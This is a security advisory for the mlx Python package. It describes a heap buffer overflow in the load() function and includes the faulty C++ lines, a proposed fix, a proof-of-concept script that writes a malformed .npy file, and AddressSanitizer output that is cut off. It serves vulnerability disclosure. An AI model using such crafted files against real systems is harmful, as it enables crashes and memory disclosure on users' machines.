GitHub Security Advisory: GHSA-w6vg-jg77-2qg6
Package: mlx (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-122: Heap-based Buffer Overflow
Vulnerable versions: <= 0.29.3
Patched in: 0.29.4

Summary: MLX has heap-buffer-overflow in load()

Details:
## Summary

Heap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.

Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7

## Vulnerability

The parser reads a 118-byte header from the file, but line 268 uses `std::string(&buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.

**Location**: `mlx/io/load.cpp:268,276`

**Bug #1** (line 268):
```cpp
std::string header(&buffer[0]);  // stops at first null byte
```

**Bug #2** (line 276):
```cpp
bool col_contiguous = header[34] == 'T';  // No bounds check
```

## Possible Fix

```cpp
// Line 268
std::string header(&buffer[0], header_len);

// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");
```

## PoC

```bash
pip install mlx

# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
    f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py

python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
```

**AddressSanitizer Output (with instrumented build)**:
```
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x[PII_REDACTED]52 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x[PII_REDACTED]52 thread T0
    #0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
    #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
    #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
    #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)

0x[PII_REDACTED]52 is located 13 bytes after 21-byte region [0x[PII_REDACTED]30,0x[PII_REDACTED]45)
allocated by thread T0 here:
    #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
    #1 0x[PII_REDACTED]fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++